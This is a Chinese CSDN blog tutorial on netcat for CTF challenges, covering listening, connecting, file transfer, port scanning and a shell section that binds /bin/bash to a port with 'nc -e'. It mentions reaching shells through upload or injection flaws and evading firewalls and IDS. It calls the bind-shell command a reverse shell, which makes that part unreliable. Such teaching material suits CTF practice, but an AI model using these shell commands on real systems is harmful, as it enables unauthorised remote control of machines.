在CTF（Capture The Flag）比赛中，nc（Netcat）是一个非常常用的工具，它被称为“网络工具的瑞士军刀”。nc可以用于很多网络相关的任务，尤其是在与靶机进行交互时，常常用来进行连接、监听、发送/接收数据等。
nc的基本用法
监听端口（服务器模式）
nc -lvp 1234
-l：表示监听（listening）模式。
-v：开启详细模式，显示更多的连接信息。
-p：指定端口号，这里是1234。
这个命令会使nc在本地监听1234端口，等待外部的连接。
连接到远程主机（客户端模式）
nc 192.168.1.10 1234
这会连接到192.168.1.10的1234端口，通常用于与靶机建立连接，进行数据交互。
通过nc进行文件传输
发送文件：
监听端口：
nc -lvp 1234 > received_file.txt
在远程主机上发送文件：
nc 192.168.1.10 1234 < file_to_send.txt
接收文件：
监听端口：
nc -lvp 1234 > received_file.txt
发送端：
nc 192.168.1.10 1234 < file_to_send.txt
端口扫描
nc也可以用来做简单的端口扫描，检测某个IP地址上哪些端口开放。例如：
nc -zv 192.168.1.10 80-90
-z表示扫描端口，-v是详细输出，80-90是端口范围。
反向Shell
在CTF中，nc常常用来作为反向Shell的载体。通过nc让靶机连接回攻击机，可以获得一个命令行的交互式控制。
在靶机上：
nc -lvp 1234 -e /bin/bash
这会在靶机上启动一个bash进程，等待连接。
在攻击机上：
nc 192.168.1.10 1234
这时攻击机就能通过nc连接到靶机，并执行命令。
常见用途
反向Shell：CTF题目中很常见，尤其是通过文件上传漏洞或者命令注入漏洞，可以利用nc建立反向连接。
Web交互：在Web漏洞中，nc可以用来模拟请求，或者在未配置Web服务器时，直接用nc进行通信。
文件传输：CTF中通过nc快速传输文件，特别是在没有其他上传工具的情况下。
端口扫描和信息收集：通过nc进行简单的端口扫描，帮助找到可能存在漏洞的开放端口。
常用的nc选项总结
-l：监听模式。
-v：详细输出。
-p：指定端口。
-z：扫描端口。
-e：指定程序，常用于反向Shell。
-n：跳过DNS解析，直接使用IP。
-w：设置连接超时时间。
注意事项
防火墙和安全软件：在很多真实环境中，防火墙和安全软件可能会阻止nc的连接。在CTF环境中，通常会有安全规则，但实际渗透测试时要考虑到这些因素。
反向Shell的风险：如果使用反向Shell，要特别注意网络安全防护，避免被防火墙或者入侵检测系统检测到。
总的来说，nc是CTF中一个非常重要的工具，适用于多种场景，无论是连接靶机、文件传输，还是建立反向Shell，都能用得上。
————————————————
版权声明：本文为CSDN博主「姬弈宸」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/2501_93292193/article/details/157033498